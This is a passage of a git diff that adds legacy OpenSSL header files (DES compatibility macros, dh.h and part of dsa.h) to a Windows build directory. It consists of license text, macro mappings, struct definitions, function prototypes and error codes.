DES_ede3_cfb64_encrypt((i),(o),(l),&(k1),&(k2),&(k3),(iv),(n),(e)) +#define des_ede3_ofb64_encrypt(i,o,l,k1,k2,k3,iv,n)\ + DES_ede3_ofb64_encrypt((i),(o),(l),&(k1),&(k2),&(k3),(iv),(n)) +#define des_options()\ + DES_options() +#define des_cbc_cksum(i,o,l,k,iv)\ + DES_cbc_cksum((i),(o),(l),&(k),(iv)) +#define des_cbc_encrypt(i,o,l,k,iv,e)\ + DES_cbc_encrypt((i),(o),(l),&(k),(iv),(e)) +#define des_ncbc_encrypt(i,o,l,k,iv,e)\ + DES_ncbc_encrypt((i),(o),(l),&(k),(iv),(e)) +#define des_xcbc_encrypt(i,o,l,k,iv,inw,outw,e)\ + DES_xcbc_encrypt((i),(o),(l),&(k),(iv),(inw),(outw),(e)) +#define des_cfb_encrypt(i,o,n,l,k,iv,e)\ + DES_cfb_encrypt((i),(o),(n),(l),&(k),(iv),(e)) +#define des_ecb_encrypt(i,o,k,e)\ + DES_ecb_encrypt((i),(o),&(k),(e)) +#define des_encrypt1(d,k,e)\ + DES_encrypt1((d),&(k),(e)) +#define des_encrypt2(d,k,e)\ + DES_encrypt2((d),&(k),(e)) +#define des_encrypt3(d,k1,k2,k3)\ + DES_encrypt3((d),&(k1),&(k2),&(k3)) +#define des_decrypt3(d,k1,k2,k3)\ + DES_decrypt3((d),&(k1),&(k2),&(k3)) +#define des_xwhite_in2out(k,i,o)\ + DES_xwhite_in2out((k),(i),(o)) +#define des_enc_read(f,b,l,k,iv)\ + DES_enc_read((f),(b),(l),&(k),(iv)) +#define des_enc_write(f,b,l,k,iv)\ + DES_enc_write((f),(b),(l),&(k),(iv)) +#define des_fcrypt(b,s,r)\ + DES_fcrypt((b),(s),(r)) +#if 0 +#define des_crypt(b,s)\ + DES_crypt((b),(s)) +#if !defined(PERL5) && !defined(__FreeBSD__) && !defined(NeXT) && !defined(__OpenBSD__) +#define crypt(b,s)\ + DES_crypt((b),(s)) +#endif +#endif +#define des_ofb_encrypt(i,o,n,l,k,iv)\ + DES_ofb_encrypt((i),(o),(n),(l),&(k),(iv)) +#define des_pcbc_encrypt(i,o,l,k,iv,e)\ + DES_pcbc_encrypt((i),(o),(l),&(k),(iv),(e)) +#define des_quad_cksum(i,o,l,c,s)\ + DES_quad_cksum((i),(o),(l),(c),(s)) +#define des_random_seed(k)\ + _ossl_096_des_random_seed((k)) +#define des_random_key(r)\ + DES_random_key((r)) +#define des_read_password(k,p,v) \ + DES_read_password((k),(p),(v)) +#define des_read_2passwords(k1,k2,p,v) \ + DES_read_2passwords((k1),(k2),(p),(v)) +#define des_set_odd_parity(k)\ + DES_set_odd_parity((k)) +#define des_check_key_parity(k)\ + DES_check_key_parity((k)) +#define des_is_weak_key(k)\ + DES_is_weak_key((k)) +#define des_set_key(k,ks)\ + DES_set_key((k),&(ks)) +#define des_key_sched(k,ks)\ + DES_key_sched((k),&(ks)) +#define des_set_key_checked(k,ks)\ + DES_set_key_checked((k),&(ks)) +#define des_set_key_unchecked(k,ks)\ + DES_set_key_unchecked((k),&(ks)) +#define des_string_to_key(s,k)\ + DES_string_to_key((s),(k)) +#define des_string_to_2keys(s,k1,k2)\ + DES_string_to_2keys((s),(k1),(k2)) +#define des_cfb64_encrypt(i,o,l,ks,iv,n,e)\ + DES_cfb64_encrypt((i),(o),(l),&(ks),(iv),(n),(e)) +#define des_ofb64_encrypt(i,o,l,ks,iv,n)\ + DES_ofb64_encrypt((i),(o),(l),&(ks),(iv),(n)) + + +#define des_ecb2_encrypt(i,o,k1,k2,e) \ + des_ecb3_encrypt((i),(o),(k1),(k2),(k1),(e)) + +#define des_ede2_cbc_encrypt(i,o,l,k1,k2,iv,e) \ + des_ede3_cbc_encrypt((i),(o),(l),(k1),(k2),(k1),(iv),(e)) + +#define des_ede2_cfb64_encrypt(i,o,l,k1,k2,iv,n,e) \ + des_ede3_cfb64_encrypt((i),(o),(l),(k1),(k2),(k1),(iv),(n),(e)) + +#define des_ede2_ofb64_encrypt(i,o,l,k1,k2,iv,n) \ + des_ede3_ofb64_encrypt((i),(o),(l),(k1),(k2),(k1),(iv),(n)) + +#define des_check_key DES_check_key +#define des_rw_mode DES_rw_mode +#else /* libdes compatibility */ +/* Map all symbol names to _ossl_old_des_* form, so we avoid all + clashes with libdes */ +#define des_cblock _ossl_old_des_cblock +#define des_key_schedule _ossl_old_des_key_schedule +#define des_ecb3_encrypt(i,o,k1,k2,k3,e)\ + _ossl_old_des_ecb3_encrypt((i),(o),(k1),(k2),(k3),(e)) +#define des_ede3_cbc_encrypt(i,o,l,k1,k2,k3,iv,e)\ + _ossl_old_des_ede3_cbc_encrypt((i),(o),(l),(k1),(k2),(k3),(iv),(e)) +#define des_ede3_cfb64_encrypt(i,o,l,k1,k2,k3,iv,n,e)\ + _ossl_old_des_ede3_cfb64_encrypt((i),(o),(l),(k1),(k2),(k3),(iv),(n),(e)) +#define des_ede3_ofb64_encrypt(i,o,l,k1,k2,k3,iv,n)\ + _ossl_old_des_ede3_ofb64_encrypt((i),(o),(l),(k1),(k2),(k3),(iv),(n)) +#define des_options()\ + _ossl_old_des_options() +#define des_cbc_cksum(i,o,l,k,iv)\ + _ossl_old_des_cbc_cksum((i),(o),(l),(k),(iv)) +#define des_cbc_encrypt(i,o,l,k,iv,e)\ + _ossl_old_des_cbc_encrypt((i),(o),(l),(k),(iv),(e)) +#define des_ncbc_encrypt(i,o,l,k,iv,e)\ + _ossl_old_des_ncbc_encrypt((i),(o),(l),(k),(iv),(e)) +#define des_xcbc_encrypt(i,o,l,k,iv,inw,outw,e)\ + _ossl_old_des_xcbc_encrypt((i),(o),(l),(k),(iv),(inw),(outw),(e)) +#define des_cfb_encrypt(i,o,n,l,k,iv,e)\ + _ossl_old_des_cfb_encrypt((i),(o),(n),(l),(k),(iv),(e)) +#define des_ecb_encrypt(i,o,k,e)\ + _ossl_old_des_ecb_encrypt((i),(o),(k),(e)) +#define des_encrypt(d,k,e)\ + _ossl_old_des_encrypt((d),(k),(e)) +#define des_encrypt2(d,k,e)\ + _ossl_old_des_encrypt2((d),(k),(e)) +#define des_encrypt3(d,k1,k2,k3)\ + _ossl_old_des_encrypt3((d),(k1),(k2),(k3)) +#define des_decrypt3(d,k1,k2,k3)\ + _ossl_old_des_decrypt3((d),(k1),(k2),(k3)) +#define des_xwhite_in2out(k,i,o)\ + _ossl_old_des_xwhite_in2out((k),(i),(o)) +#define des_enc_read(f,b,l,k,iv)\ + _ossl_old_des_enc_read((f),(b),(l),(k),(iv)) +#define des_enc_write(f,b,l,k,iv)\ + _ossl_old_des_enc_write((f),(b),(l),(k),(iv)) +#define des_fcrypt(b,s,r)\ + _ossl_old_des_fcrypt((b),(s),(r)) +#define des_crypt(b,s)\ + _ossl_old_des_crypt((b),(s)) +#if 0 +#define crypt(b,s)\ + _ossl_old_crypt((b),(s)) +#endif +#define des_ofb_encrypt(i,o,n,l,k,iv)\ + _ossl_old_des_ofb_encrypt((i),(o),(n),(l),(k),(iv)) +#define des_pcbc_encrypt(i,o,l,k,iv,e)\ + _ossl_old_des_pcbc_encrypt((i),(o),(l),(k),(iv),(e)) +#define des_quad_cksum(i,o,l,c,s)\ + _ossl_old_des_quad_cksum((i),(o),(l),(c),(s)) +#define des_random_seed(k)\ + _ossl_old_des_random_seed((k)) +#define des_random_key(r)\ + _ossl_old_des_random_key((r)) +#define des_read_password(k,p,v) \ + _ossl_old_des_read_password((k),(p),(v)) +#define des_read_2passwords(k1,k2,p,v) \ + _ossl_old_des_read_2passwords((k1),(k2),(p),(v)) +#define des_set_odd_parity(k)\ + _ossl_old_des_set_odd_parity((k)) +#define des_is_weak_key(k)\ + _ossl_old_des_is_weak_key((k)) +#define des_set_key(k,ks)\ + _ossl_old_des_set_key((k),(ks)) +#define des_key_sched(k,ks)\ + _ossl_old_des_key_sched((k),(ks)) +#define des_string_to_key(s,k)\ + _ossl_old_des_string_to_key((s),(k)) +#define des_string_to_2keys(s,k1,k2)\ + _ossl_old_des_string_to_2keys((s),(k1),(k2)) +#define des_cfb64_encrypt(i,o,l,ks,iv,n,e)\ + _ossl_old_des_cfb64_encrypt((i),(o),(l),(ks),(iv),(n),(e)) +#define des_ofb64_encrypt(i,o,l,ks,iv,n)\ + _ossl_old_des_ofb64_encrypt((i),(o),(l),(ks),(iv),(n)) + + +#define des_ecb2_encrypt(i,o,k1,k2,e) \ + des_ecb3_encrypt((i),(o),(k1),(k2),(k1),(e)) + +#define des_ede2_cbc_encrypt(i,o,l,k1,k2,iv,e) \ + des_ede3_cbc_encrypt((i),(o),(l),(k1),(k2),(k1),(iv),(e)) + +#define des_ede2_cfb64_encrypt(i,o,l,k1,k2,iv,n,e) \ + des_ede3_cfb64_encrypt((i),(o),(l),(k1),(k2),(k1),(iv),(n),(e)) + +#define des_ede2_ofb64_encrypt(i,o,l,k1,k2,iv,n) \ + des_ede3_ofb64_encrypt((i),(o),(l),(k1),(k2),(k1),(iv),(n)) + +#define des_check_key DES_check_key +#define des_rw_mode DES_rw_mode +#endif + +const char *_ossl_old_des_options(void); +void _ossl_old_des_ecb3_encrypt(_ossl_old_des_cblock *input,_ossl_old_des_cblock *output, + _ossl_old_des_key_schedule ks1,_ossl_old_des_key_schedule ks2, + _ossl_old_des_key_schedule ks3, int enc); +DES_LONG _ossl_old_des_cbc_cksum(_ossl_old_des_cblock *input,_ossl_old_des_cblock *output, + long length,_ossl_old_des_key_schedule schedule,_ossl_old_des_cblock *ivec); +void _ossl_old_des_cbc_encrypt(_ossl_old_des_cblock *input,_ossl_old_des_cblock *output,long length, + _ossl_old_des_key_schedule schedule,_ossl_old_des_cblock *ivec,int enc); +void _ossl_old_des_ncbc_encrypt(_ossl_old_des_cblock *input,_ossl_old_des_cblock *output,long length, + _ossl_old_des_key_schedule schedule,_ossl_old_des_cblock *ivec,int enc); +void _ossl_old_des_xcbc_encrypt(_ossl_old_des_cblock *input,_ossl_old_des_cblock *output,long length, + _ossl_old_des_key_schedule schedule,_ossl_old_des_cblock *ivec, + _ossl_old_des_cblock *inw,_ossl_old_des_cblock *outw,int enc); +void _ossl_old_des_cfb_encrypt(unsigned char *in,unsigned char *out,int numbits, + long length,_ossl_old_des_key_schedule schedule,_ossl_old_des_cblock *ivec,int enc); +void _ossl_old_des_ecb_encrypt(_ossl_old_des_cblock *input,_ossl_old_des_cblock *output, + _ossl_old_des_key_schedule ks,int enc); +void _ossl_old_des_encrypt(DES_LONG *data,_ossl_old_des_key_schedule ks, int enc); +void _ossl_old_des_encrypt2(DES_LONG *data,_ossl_old_des_key_schedule ks, int enc); +void _ossl_old_des_encrypt3(DES_LONG *data, _ossl_old_des_key_schedule ks1, + _ossl_old_des_key_schedule ks2, _ossl_old_des_key_schedule ks3); +void _ossl_old_des_decrypt3(DES_LONG *data, _ossl_old_des_key_schedule ks1, + _ossl_old_des_key_schedule ks2, _ossl_old_des_key_schedule ks3); +void _ossl_old_des_ede3_cbc_encrypt(_ossl_old_des_cblock *input, _ossl_old_des_cblock *output, + long length, _ossl_old_des_key_schedule ks1, _ossl_old_des_key_schedule ks2, + _ossl_old_des_key_schedule ks3, _ossl_old_des_cblock *ivec, int enc); +void _ossl_old_des_ede3_cfb64_encrypt(unsigned char *in, unsigned char *out, + long length, _ossl_old_des_key_schedule ks1, _ossl_old_des_key_schedule ks2, + _ossl_old_des_key_schedule ks3, _ossl_old_des_cblock *ivec, int *num, int enc); +void _ossl_old_des_ede3_ofb64_encrypt(unsigned char *in, unsigned char *out, + long length, _ossl_old_des_key_schedule ks1, _ossl_old_des_key_schedule ks2, + _ossl_old_des_key_schedule ks3, _ossl_old_des_cblock *ivec, int *num); +#if 0 +void _ossl_old_des_xwhite_in2out(_ossl_old_des_cblock (*des_key), _ossl_old_des_cblock (*in_white), + _ossl_old_des_cblock (*out_white)); +#endif + +int _ossl_old_des_enc_read(int fd,char *buf,int len,_ossl_old_des_key_schedule sched, + _ossl_old_des_cblock *iv); +int _ossl_old_des_enc_write(int fd,char *buf,int len,_ossl_old_des_key_schedule sched, + _ossl_old_des_cblock *iv); +char *_ossl_old_des_fcrypt(const char *buf,const char *salt, char *ret); +char *_ossl_old_des_crypt(const char *buf,const char *salt); +#if !defined(PERL5) && !defined(NeXT) +char *_ossl_old_crypt(const char *buf,const char *salt); +#endif +void _ossl_old_des_ofb_encrypt(unsigned char *in,unsigned char *out, + int numbits,long length,_ossl_old_des_key_schedule schedule,_ossl_old_des_cblock *ivec); +void _ossl_old_des_pcbc_encrypt(_ossl_old_des_cblock *input,_ossl_old_des_cblock *output,long length, + _ossl_old_des_key_schedule schedule,_ossl_old_des_cblock *ivec,int enc); +DES_LONG _ossl_old_des_quad_cksum(_ossl_old_des_cblock *input,_ossl_old_des_cblock *output, + long length,int out_count,_ossl_old_des_cblock *seed); +void _ossl_old_des_random_seed(_ossl_old_des_cblock key); +void _ossl_old_des_random_key(_ossl_old_des_cblock ret); +int _ossl_old_des_read_password(_ossl_old_des_cblock *key,const char *prompt,int verify); +int _ossl_old_des_read_2passwords(_ossl_old_des_cblock *key1,_ossl_old_des_cblock *key2, + const char *prompt,int verify); +void _ossl_old_des_set_odd_parity(_ossl_old_des_cblock *key); +int _ossl_old_des_is_weak_key(_ossl_old_des_cblock *key); +int _ossl_old_des_set_key(_ossl_old_des_cblock *key,_ossl_old_des_key_schedule schedule); +int _ossl_old_des_key_sched(_ossl_old_des_cblock *key,_ossl_old_des_key_schedule schedule); +void _ossl_old_des_string_to_key(char *str,_ossl_old_des_cblock *key); +void _ossl_old_des_string_to_2keys(char *str,_ossl_old_des_cblock *key1,_ossl_old_des_cblock *key2); +void _ossl_old_des_cfb64_encrypt(unsigned char *in, unsigned char *out, long length, + _ossl_old_des_key_schedule schedule, _ossl_old_des_cblock *ivec, int *num, int enc); +void _ossl_old_des_ofb64_encrypt(unsigned char *in, unsigned char *out, long length, + _ossl_old_des_key_schedule schedule, _ossl_old_des_cblock *ivec, int *num); + +void _ossl_096_des_random_seed(des_cblock *key); + +/* The following definitions provide compatibility with the MIT Kerberos + * library. The _ossl_old_des_key_schedule structure is not binary compatible. */ + +#define _KERBEROS_DES_H + +#define KRBDES_ENCRYPT DES_ENCRYPT +#define KRBDES_DECRYPT DES_DECRYPT + +#ifdef KERBEROS +# define ENCRYPT DES_ENCRYPT +# define DECRYPT DES_DECRYPT +#endif + +#ifndef NCOMPAT +# define C_Block des_cblock +# define Key_schedule des_key_schedule +# define KEY_SZ DES_KEY_SZ +# define string_to_key des_string_to_key +# define read_pw_string des_read_pw_string +# define random_key des_random_key +# define pcbc_encrypt des_pcbc_encrypt +# define set_key des_set_key +# define key_sched des_key_sched +# define ecb_encrypt des_ecb_encrypt +# define cbc_encrypt des_cbc_encrypt +# define ncbc_encrypt des_ncbc_encrypt +# define xcbc_encrypt des_xcbc_encrypt +# define cbc_cksum des_cbc_cksum +# define quad_cksum des_quad_cksum +# define check_parity des_check_key_parity +#endif + +#define des_fixup_key_parity DES_fixup_key_parity + +#ifdef __cplusplus +} +#endif + +/* for DES_read_pw_string et al */ +#include + +#endif diff --git a/winstuff/openssl/dh.h b/winstuff/openssl/dh.h new file mode 100644 index 0000000..10475ac --- /dev/null +++ b/winstuff/openssl/dh.h @@ -0,0 +1,245 @@ +/* crypto/dh/dh.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_DH_H +#define HEADER_DH_H + +#include + +#ifdef OPENSSL_NO_DH +#error DH is disabled. +#endif + +#ifndef OPENSSL_NO_BIO +#include +#endif +#include +#ifndef OPENSSL_NO_DEPRECATED +#include +#endif + +#ifndef OPENSSL_DH_MAX_MODULUS_BITS +# define OPENSSL_DH_MAX_MODULUS_BITS 10000 +#endif + +#define OPENSSL_DH_FIPS_MIN_MODULUS_BITS 1024 + +#define DH_FLAG_CACHE_MONT_P 0x01 +#define DH_FLAG_NO_EXP_CONSTTIME 0x02 /* new with 0.9.7h; the built-in DH + * implementation now uses constant time + * modular exponentiation for secret exponents + * by default. This flag causes the + * faster variable sliding window method to + * be used for all exponents. + */ + +#ifdef __cplusplus +extern "C" { +#endif + +/* Already defined in ossl_typ.h */ +/* typedef struct dh_st DH; */ +/* typedef struct dh_method DH_METHOD; */ + +struct dh_method + { + const char *name; + /* Methods here */ + int (*generate_key)(DH *dh); + int (*compute_key)(unsigned char *key,const BIGNUM *pub_key,DH *dh); + int (*bn_mod_exp)(const DH *dh, BIGNUM *r, const BIGNUM *a, + const BIGNUM *p, const BIGNUM *m, BN_CTX *ctx, + BN_MONT_CTX *m_ctx); /* Can be null */ + + int (*init)(DH *dh); + int (*finish)(DH *dh); + int flags; + char *app_data; + /* If this is non-NULL, it will be used to generate parameters */ + int (*generate_params)(DH *dh, int prime_len, int generator, BN_GENCB *cb); + }; + +struct dh_st + { + /* This first argument is used to pick up errors when + * a DH is passed instead of a EVP_PKEY */ + int pad; + int version; + BIGNUM *p; + BIGNUM *g; + long length; /* optional */ + BIGNUM *pub_key; /* g^x */ + BIGNUM *priv_key; /* x */ + + int flags; + BN_MONT_CTX *method_mont_p; + /* Place holders if we want to do X9.42 DH */ + BIGNUM *q; + BIGNUM *j; + unsigned char *seed; + int seedlen; + BIGNUM *counter; + + int references; + CRYPTO_EX_DATA ex_data; + const DH_METHOD *meth; + ENGINE *engine; + }; + +#define DH_GENERATOR_2 2 +/* #define DH_GENERATOR_3 3 */ +#define DH_GENERATOR_5 5 + +/* DH_check error codes */ +#define DH_CHECK_P_NOT_PRIME 0x01 +#define DH_CHECK_P_NOT_SAFE_PRIME 0x02 +#define DH_UNABLE_TO_CHECK_GENERATOR 0x04 +#define DH_NOT_SUITABLE_GENERATOR 0x08 + +/* DH_check_pub_key error codes */ +#define DH_CHECK_PUBKEY_TOO_SMALL 0x01 +#define DH_CHECK_PUBKEY_TOO_LARGE 0x02 + +/* primes p where (p-1)/2 is prime too are called "safe"; we define + this for backward compatibility: */ +#define DH_CHECK_P_NOT_STRONG_PRIME DH_CHECK_P_NOT_SAFE_PRIME + +#define DHparams_dup(x) ASN1_dup_of_const(DH,i2d_DHparams,d2i_DHparams,x) +#define d2i_DHparams_fp(fp,x) (DH *)ASN1_d2i_fp((char *(*)())DH_new, \ + (char *(*)())d2i_DHparams,(fp),(unsigned char **)(x)) +#define i2d_DHparams_fp(fp,x) ASN1_i2d_fp(i2d_DHparams,(fp), \ + (unsigned char *)(x)) +#define d2i_DHparams_bio(bp,x) ASN1_d2i_bio_of(DH,DH_new,d2i_DHparams,bp,x) +#define i2d_DHparams_bio(bp,x) ASN1_i2d_bio_of_const(DH,i2d_DHparams,bp,x) + +const DH_METHOD *DH_OpenSSL(void); + +#ifdef OPENSSL_FIPS +DH * FIPS_dh_new(void); +void FIPS_dh_free(DH *dh); +#endif + +void DH_set_default_method(const DH_METHOD *meth); +const DH_METHOD *DH_get_default_method(void); +int DH_set_method(DH *dh, const DH_METHOD *meth); +DH *DH_new_method(ENGINE *engine); + +DH * DH_new(void); +void DH_free(DH *dh); +int DH_up_ref(DH *dh); +int DH_size(const DH *dh); +int DH_get_ex_new_index(long argl, void *argp, CRYPTO_EX_new *new_func, + CRYPTO_EX_dup *dup_func, CRYPTO_EX_free *free_func); +int DH_set_ex_data(DH *d, int idx, void *arg); +void *DH_get_ex_data(DH *d, int idx); + +/* Deprecated version */ +#ifndef OPENSSL_NO_DEPRECATED +DH * DH_generate_parameters(int prime_len,int generator, + void (*callback)(int,int,void *),void *cb_arg); +#endif /* !defined(OPENSSL_NO_DEPRECATED) */ + +/* New version */ +int DH_generate_parameters_ex(DH *dh, int prime_len,int generator, BN_GENCB *cb); + +int DH_check(const DH *dh,int *codes); +int DH_check_pub_key(const DH *dh,const BIGNUM *pub_key, int *codes); +int DH_generate_key(DH *dh); +int DH_compute_key(unsigned char *key,const BIGNUM *pub_key,DH *dh); +DH * d2i_DHparams(DH **a,const unsigned char **pp, long length); +int i2d_DHparams(const DH *a,unsigned char **pp); +#ifndef OPENSSL_NO_FP_API +int DHparams_print_fp(FILE *fp, const DH *x); +#endif +#ifndef OPENSSL_NO_BIO +int DHparams_print(BIO *bp, const DH *x); +#else +int DHparams_print(char *bp, const DH *x); +#endif + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_DH_strings(void); + +/* Error codes for the DH functions. */ + +/* Function codes. */ +#define DH_F_COMPUTE_KEY 102 +#define DH_F_DHPARAMS_PRINT 100 +#define DH_F_DHPARAMS_PRINT_FP 101 +#define DH_F_DH_BUILTIN_GENPARAMS 106 +#define DH_F_DH_COMPUTE_KEY 107 +#define DH_F_DH_GENERATE_KEY 108 +#define DH_F_DH_GENERATE_PARAMETERS 109 +#define DH_F_DH_NEW_METHOD 105 +#define DH_F_GENERATE_KEY 103 +#define DH_F_GENERATE_PARAMETERS 104 + +/* Reason codes. */ +#define DH_R_BAD_GENERATOR 101 +#define DH_R_INVALID_PUBKEY 102 +#define DH_R_KEY_SIZE_TOO_SMALL 104 +#define DH_R_MODULUS_TOO_LARGE 103 +#define DH_R_NO_PRIVATE_VALUE 100 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/dsa.h b/winstuff/openssl/dsa.h new file mode 100644 index 0000000..702c50d --- /dev/null +++ b/winstuff/openssl/dsa.h @@ -0,0 +1,324 @@ +/* crypto/dsa/dsa.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +/* + * The DSS routines are based on patches supplied by + * Steven Schoch . He basically did the + * work and I have just tweaked them a little to fit into my + * stylistic vision for SSLeay :-) */ + +#ifndef HEADER_DSA_H +#define HEADER_DSA_H + +#include + +#ifdef OPENSSL_NO_DSA +#error DSA is disabled. +#endif + +#ifndef OPENSSL_NO_BIO +#include +#endif +#include +#include + +#ifndef OPENSSL_NO_DEPRECATED +#include +#ifndef OPENSSL_NO_DH +# include +#endif +#endif + +#ifndef OPENSSL_DSA_MAX_MODULUS_BITS +# define OPENSSL_DSA_MAX_MODULUS_BITS 10000 +#endif + +#define OPENSSL_DSA_FIPS_MIN_MODULUS_BITS 1024 + +#define DSA_FLAG_CACHE_MONT_P 0x01 +#define DSA_FLAG_NO_EXP_CONSTTIME 0x02 /* new with 0.9.7h; the built-in DSA + * implementation now uses constant time + * modular exponentiation for secret exponents + * by default. This flag causes the + * faster variable sliding window method to + * be used for all exponents. + */ + +/* If this flag is set the DSA method is FIPS compliant and can be used + * in FIPS mode. This is set in the validated module method. If an + * application sets this flag in its own methods it is its reposibility + * to ensure the result is compliant. + */ + +#define DSA_FLAG_FIPS_METHOD 0x0400 + +/* If this flag is set the operations normally disabled in FIPS mode are + * permitted it is then the applications responsibility to ensure that the + * usage is compliant. + */ + +#define DSA_FLAG_NON_FIPS_ALLOW 0x0400 + +#ifdef OPENSSL_FIPS +#define FIPS_DSA_SIZE_T int +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +/* Already defined in ossl_typ.h */ +/* typedef struct dsa_st DSA; */ +/* typedef struct dsa_method DSA_METHOD; */ + +typedef struct DSA_SIG_st + { + BIGNUM *r; + BIGNUM *s; + } DSA_SIG; + +struct dsa_method + { + const char *name; + DSA_SIG * (*dsa_do_sign)(const unsigned char *dgst, int dlen, DSA *dsa); + int (*dsa_sign_setup)(DSA *dsa, BN_CTX *ctx_in, BIGNUM **kinvp, + BIGNUM **rp); + int (*dsa_do_verify)(const unsigned char *dgst, int dgst_len, + DSA_SIG *sig, DSA *dsa); + int (*dsa_mod_exp)(DSA *dsa, BIGNUM *rr, BIGNUM *a1, BIGNUM *p1, + BIGNUM *a2, BIGNUM *p2, BIGNUM *m, BN_CTX *ctx, + BN_MONT_CTX *in_mont); + int (*bn_mod_exp)(DSA *dsa, BIGNUM *r, BIGNUM *a, const BIGNUM *p, + const BIGNUM *m, BN_CTX *ctx, + BN_MONT_CTX *m_ctx); /* Can be null */ + int (*init)(DSA *dsa); + int (*finish)(DSA *dsa); + int flags; + char *app_data; + /* If this is non-NULL, it is used to generate DSA parameters */ + int (*dsa_paramgen)(DSA *dsa, int bits, + unsigned char *seed, int seed_len, + int *counter_ret, unsigned long *h_ret, + BN_GENCB *cb); + /* If this is non-NULL, it is used to generate DSA keys */ + int (*dsa_keygen)(DSA *dsa); + }; + +struct dsa_st + { + /* This first variable is used to pick up errors where + * a DSA is passed instead of of a EVP_PKEY */ + int pad; + long version; + int write_params; + BIGNUM *p; + BIGNUM *q; /* == 20 */ + BIGNUM *g; + + BIGNUM *pub_key; /* y public key */ + BIGNUM *priv_key; /* x private key */ + + BIGNUM *kinv; /* Signing pre-calc */ + 